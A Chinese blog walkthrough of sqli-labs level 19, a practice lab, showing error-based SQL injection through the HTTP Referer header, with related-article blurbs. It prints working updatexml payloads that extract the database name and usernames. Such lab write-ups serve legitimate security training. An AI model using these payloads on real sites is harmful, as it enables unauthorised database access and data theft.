sqli-labs(19)

百度了一下基于错误的referer头的注入

0X01爱之初体验

猜测是基于referer头的注入我们在referer后面加入单引号测试一下

真的报错了诶那我们猜测一下他应该是把 referer插入到数据库中去了

语句怎么构造呐？说实话这里我不知道得看看源码才能知道因为还不熟悉结构

原来是将referer和ip插入到数据库中去只有两个要插入那我们尝试一下构造闭合语句

好像成功了诶

0X02构造语句查询数据库

Referer: http://127.0.0.1/sql1/Less-19/',updatexml(1,concat(0x3a,database(),0x3a),1))#

得到我们的数据库名称

对于查询表名列名来说和17 18 关一样用limit函数

但是这里我们还是来讲一下字段名吧因为常规报错

Referer: http://127.0.0.1/sql1/Less-19/',updatexml(1,concat(0x3a,(select username from  users limit 0,1),0x3a),1))#

我的天 18关是不能再users表里面直接查的因为要插入的数据表就是users里面的这里居然成功了

切记学习之路少就是多慢就是快

转载于:https://www.cnblogs.com/-zhong/p/10929062.html

sqli-labs(19)相关推荐

SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注
第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...
SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
SQLi LABS Less 26a 联合注入+布尔盲注
第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and or ),注释(/* # -- /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...
SQLi LABS Less 25 联合注入+报错注入+布尔盲注
第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...
sqli——labs初学者通关详
目录 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) Less-2 GET-Error based- Intiger bas ...
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下但后面插入HTTP Referer时,并没有对参数进行过滤,我们可以从Referer入手首先,输入正确的账号 ...
SQLi LABS Less-8 布尔盲注
「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者第八关是单引号字符型注入,推荐使用布尔盲注方式一:布尔盲注第一步.判断注入 ...
SQLi LABS Less-31
第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号在url地址栏中输入 1") and true-- a,使SQL恒成立,页面正常显示再输入 1") an ...
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可后端源码中并没有做什么过滤,只是在参数两边添加了双引号输入 1" and true-- a,页面正常显示输入 1&quo ...
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可源码中并没有做什么过滤,直接测试注入点即可在url中输入 1'and true-- a,源码中的SQL会拼接成下面这样注释后面的内 ...

sqli-labs(19)

sqli-labs(19)相关推荐

最新文章

热门文章